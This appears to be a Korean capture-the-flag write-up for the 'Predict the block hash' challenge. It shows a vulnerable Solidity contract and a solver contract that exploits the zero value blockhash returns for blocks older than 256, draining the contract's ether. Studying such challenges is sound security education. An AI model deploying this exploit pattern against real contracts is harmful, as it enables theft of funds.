Capture the ether-Predict the block hash
pragma solidity ^0.4.21;
contract PredictTheBlockHashChallenge {
address guesser;
bytes32 guess;
uint256 settlementBlockNumber;
function PredictTheBlockHashChallenge() public payable {
require(msg.value == 1 ether);
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function lockInGuess(bytes32 hash) public payable {
require(guesser == 0);
require(msg.value == 1 ether);
guesser = msg.sender;
guess = hash;
settlementBlockNumber = block.number + 1;
}
function settle() public {
require(msg.sender == guesser);
require(block.number > settlementBlockNumber);
bytes32 answer = block.blockhash(settlementBlockNumber);
guesser = 0;
if (guess == answer) {
msg.sender.transfer(2 ether);
}
}
}settle를 호출하여 해시값을 맞추어 balance를 0으로 만들라. settle 호출 전에 lockInGuess를 먼저 호출해두어야 한다.
풀이
솔리디티 docs를 보면, blockhash는 최신 256개까지만 얻을 수 있다고 한다. docs 참고
block.blockhash(uint blockNumber) returns (bytes32): hash of the given block - only works for 256 most recent blocks excluding current 라고 하며, The block hashes are not available for all blocks for scalability reasons. You can only access the hashes of the most recent 256 blocks, all other values will be zero. 라는 노트도 따로 적혀있다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
interface PredictTheBlockHashChallenge {
function lockInGuess(bytes32 hash) external payable;
function settle() external;
function isComplete() external view returns (bool);
}
contract PredictTheBlockHashSolver {
address payable public owner;
PredictTheBlockHashChallenge public problem;
constructor (address _problem) {
owner = payable(msg.sender);
problem = PredictTheBlockHashChallenge(payable(_problem));
}
function lockInGuess() public payable {
// block.blockhash(uint blockNumber) returns (bytes32): hash of the given block - only works for 256 most recent blocks excluding current
// The block hashes are not available for all blocks for scalability reasons. You can only access the hashes of the most recent 256 blocks, all other values will be zero.
bytes32 answer = 0;
problem.lockInGuess{value: msg.value}(answer);
}
// call after 256 block passed
function settle() public {
problem.settle();
require(problem.isComplete(), "fail");
}
function extract() public {
owner.transfer(address(this).balance);
}
receive() external payable { }
}다음은 공격 코드이다. lockInGuess를 호출한 뒤 256블록 뒤, 약 1~2시간 뒤에 settle을 호출하면 된다. extract를 통해 이더리움을 꺼낼 수 있게 했다.
이와 동일한 문제로 인한 해킹 사고도 있다고 한다. 해킹 사고 관련 글을 참고하자.
솔리디티 랜덤 관련 문서를 참고하였다.
tags: writeup, blockchain, solidity, smart contract, insecure randomness, insecure randomness